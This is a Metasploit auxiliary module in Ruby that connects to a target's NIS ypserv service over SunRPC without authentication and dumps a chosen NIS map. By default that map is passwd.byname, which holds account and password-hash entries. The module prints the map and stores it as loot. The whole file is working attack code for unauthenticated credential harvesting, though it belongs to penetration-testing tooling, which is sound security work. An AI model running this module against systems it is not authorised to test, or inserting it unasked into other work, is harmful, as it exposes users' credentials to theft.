##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SunRPC
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'NIS ypserv Map Dumper',
      'Description' => %q{
        This module dumps the specified map from NIS ypserv.

        The following examples are from ypcat -x:

        Use "ethers"    for map "ethers.byname"
        Use "aliases"   for map "mail.aliases"
        Use "services"  for map "services.byname"
        Use "protocols" for map "protocols.bynumber"
        Use "hosts"     for map "hosts.byname"
        Use "networks"  for map "networks.byaddr"
        Use "group"     for map "group.byname"
        Use "passwd"    for map "passwd.byname"

        You may specify a map by one of the nicknames above.
      },
      'Author'      => 'wvu',
      'References'  => [
        ['URL', 'https://datatracker.ietf.org/doc/html/rfc1831'],
        ['URL', 'https://datatracker.ietf.org/doc/html/rfc4506']
      ],
      'License'     => MSF_LICENSE
    ))

    register_options([
      OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w[tcp udp]]),
      OptString.new('DOMAIN', [true, 'NIS domain']),
      OptString.new('MAP',    [true, 'NIS map to dump', 'passwd'])
    ])

    register_advanced_options([
      OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
    ])
  end

  def run
    proto    = datastore['PROTOCOL']
    domain   = datastore['DOMAIN']
    map_name = nick_to_map(datastore['MAP'])

    begin
      sunrpc_create(
        proto,  # Protocol: TCP (6)
        100004, # Program: YPSERV (100004)
        2       # Program Version: 2
      )
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
    rescue Rex::Proto::SunRPC::RPCError
      fail_with(Failure::Unreachable, 'Could not connect to ypserv')
    end

    # Flavor: AUTH_NULL (0)
    sunrpc_authnull

    # XXX: domain and map_name are modified in place
    ypserv_all_call = Rex::Encoder::XDR.encode(
      domain,  # Domain: [redacted]
      map_name # Map Name: passwd.byname
    )

    begin
      res = sunrpc_call(
        8,              # Procedure: ALL (8)
        ypserv_all_call # Yellow Pages Service ALL call
      )
    rescue Rex::Proto::SunRPC::RPCError
      fail_with(Failure::NotFound, 'Could not call ypserv procedure')
    ensure
      # Shut it down! Shut it down forever!
      sunrpc_destroy
    end

    unless res && res.length > 8
      fail_with(Failure::UnexpectedReply, 'Invalid response from server')
      return
    end

    # XXX: Rex::Encoder::XDR doesn't do signed ints
    case res[4, 4].unpack('l>').first
    # Status: YP_NOMAP (-1)
    when -1
      fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
    # Status: YP_NODOM (-2)
    when -2
      fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
    end

    map = begin
      Timeout.timeout(datastore['XDRTimeout']) do
        parse_map(res)
      end
    rescue Timeout::Error
      fail_with(Failure::TimeoutExpired,
                'XDR decoding timed out (try increasing XDRTimeout?)')
      return
    end

    if map.blank?
      fail_with(Failure::Unknown, "Could not parse map #{map_name}")
      return
    end

    map_file = map.values.join("\n") + "\n"

    print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")

    # XXX: map_name contains null bytes if its length isn't a multiple of four
    store_loot(map_name.strip, 'text/plain', rhost, map_file)
  end

  def parse_map(res)
    map = {}

    loop do
      begin
        # XXX: res is modified in place
        _, status, value, key = Rex::Encoder::XDR.decode!(
          res,
          Integer, # More: Yes
          Integer, # Status: YP_TRUE (1)
          String,  # Value: [redacted]
          String   # Key: [redacted]
        )

        break unless status == 1 && key && value

        map[key] = value
      rescue Rex::ArgumentError
        vprint_status("Finished XDR decoding at #{res.inspect}")
        break
      end
    end

    map
  end

  # ypcat -x
  def nick_to_map(nick)
    {
      'ethers'    => 'ethers.byname',
      'aliases'   => 'mail.aliases',
      'services'  => 'services.byname',
      'protocols' => 'protocols.bynumber',
      'hosts'     => 'hosts.byname',
      'networks'  => 'networks.byaddr',
      'group'     => 'group.byname',
      'passwd'    => 'passwd.byname'
    }[nick] || nick
  end

end
